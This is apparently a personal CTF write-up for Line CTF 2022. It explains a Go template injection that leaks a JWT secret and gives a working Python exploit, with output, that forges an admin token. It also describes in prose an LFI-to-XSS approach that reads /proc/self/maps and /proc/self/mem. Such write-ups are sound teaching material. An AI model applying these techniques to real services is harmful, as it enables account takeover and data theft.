I participated a Line CTF 2022 this saturday and I only solved the one challenge in this ctf.
So I am very not good. Just get a stress. So I decided not to participate the CTF from today. I always think like: When we live the life, must do a lot of things. Oh, I’m not quitting IT. I just want to try different things. Still, if I don’t like it, I’ll find another job.
(Web) gotm
The gotm is challenge that get the flag using a JWT of admin. And goth challenge was created using Golang.
p := Resp{true, ""} res, err := json.Marshal(p) if err != nil { } w.Write(res) return }
But, When I look at the regist_handler() function, I could know that I cannot make the is_admin of JWT as true because it’s adds the is_admin as false.
Even when logging in, it cannot be manipulated because the stored is_admin is used.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
funcroot_handler(w http.ResponseWriter, r *http.Request) { token := r.Header.Get("X-Token") if token != "" { id, _ := jwt_decode(token) acc := get_account(id) tpl, err := template.New("").Parse("Logged in as " + acc.id) if err != nil { } tpl.Execute(w, &acc) } else {
return } }
However, an SSTI vulnerability occurs in the index. This is because the ID value is passed raw to the template engine. Here, if a payload such as {{ . }} is used, the values of all elements of the currently logged in user can be output.
1 2 3 4 5 6
type Account struct { id string pw string is_admin bool secret_key string }
Since the structure of Account is the same as above, you can have the secret_key by using the SSTI vulnerability. So just leak secret_token, set is_admin of JWT to true and generate token. And you can use that token to get the flag.
USERNAME = "{{ . }}" PASSWORD = "dummy" SESSION = requests.Session() defREGIST(ID, PW): data = {'id':ID, 'pw':PW} try: res = SESSION.post(CHALL_URL + '/regist', data=data).json() if res['status'] == True: print(f'[+] Register Success : {ID}') else: print('[+] 500 Inter Server Error') except: print('[+] 500 Inter Server Error')
defLOGIN(ID, PW): data = {'id':ID, 'pw':PW} try: res = SESSION.post(CHALL_URL + '/auth', data=data).json() if res['status'] == True: token = res['token'] print(f'[+] TOKEN : {token}') header = {'X-Token':token} SECRET_KEY = SESSION.get(CHALL_URL, headers=header).text.split('false ')[1].replace('}', '') return SECRET_KEY else: print('[+] 500 Inter Server Error') except: print('[+] 500 Inter Server Error')
defFLAG(ADMIN_TOKEN): header = {'X-Token':ADMIN_TOKEN} RESULT = SESSION.get('http://34.146.226.125/flag', headers=header).json() FLAG = RESULT['msg'].split('flag is ')[1] print(f'[-] FLAG : {FLAG}')
if __name__ == '__main__': print('[+] Exploit') REGIST(USERNAME, PASSWORD) print('[+] Leak the SECRET_KEY') SECRET_KEY = LOGIN(USERNAME, PASSWORD) print(f'[-] SECRET_KEY : {SECRET_KEY}') print('[+] Generate the JWT of ADMIN') ADMIN_JWT = JWT_ENCODE(USERNAME, SECRET_KEY).decode('utf-8') print(f'[-] ADMIN_JWT : {ADMIN_JWT}') print('[+] Leak the FLAG') FLAG(ADMIN_JWT)
I wrote the exploit code as above.
1 2 3 4 5 6 7 8 9 10
❯ python3 exploit.py [+] Exploit [+] Register Success : {{ . }} [+] Leak the SECRET_KEY [+] TOKEN : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7ICAuICAgICAgfX0iLCJpc19hZG1pbiI6ZmFsc2V9.thRcBQoJEZUgNF04UMNBYjzww7307fKjCF514rJ0k-0 [-] SECRET_KEY : fasdf972u1031xu90zm10Av [+] Generate the JWT of ADMIN [-] ADMIN_JWT : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Int7ICAuICAgICAgfX0iLCJpc19hZG1pbiI6dHJ1ZX0.ORLfPXc2HWIjMsORBcoRCRVbsiDJCWC_kntbOAOWXhw [+] Leak the FLAG [-] FLAG : LINECTF{country_roads_takes_me_home}
(Web) online-library
The online-library is a challenge to trigger XSS using a memory dump file. I have tried this challenge for over 10 hours. Since the LFI vulnerability occurs in this challenge, I tried to insert and trigger an XSS PoC in the log using log poisoning. So I deployed the challenge with docker, and kept looking for all the log related files.
I’ve been trying to use /proc/self/fd/N for the last 3-4 hours. But this didn’t work either. I couldn’t figure out how to overwrite the log. I felt very very bad for not being able to solve this challenge. After CTF ended, I found out that it was to trigger XSS by using the node.js request memory dump overwritten in /proc/self/mem. I didn’t even think of this because I wasn’t interested. I didn’t even know before. So the scenario is to just send a request containing the XSS PoC to the web server, and then read the memory dump of the request I sent while increasing the size in the /proc/self/mem file.
In fact, In /proc/self/maps, which contains the heap address of virtual memory, I could see that there is the heap address of node.js. I could see that I also have write permission with rw-p. These things are very important. In order for us to hack the web, we need to know these things well. Knowing only simple vulnerability exploitation methods cannot grow. (jjeob)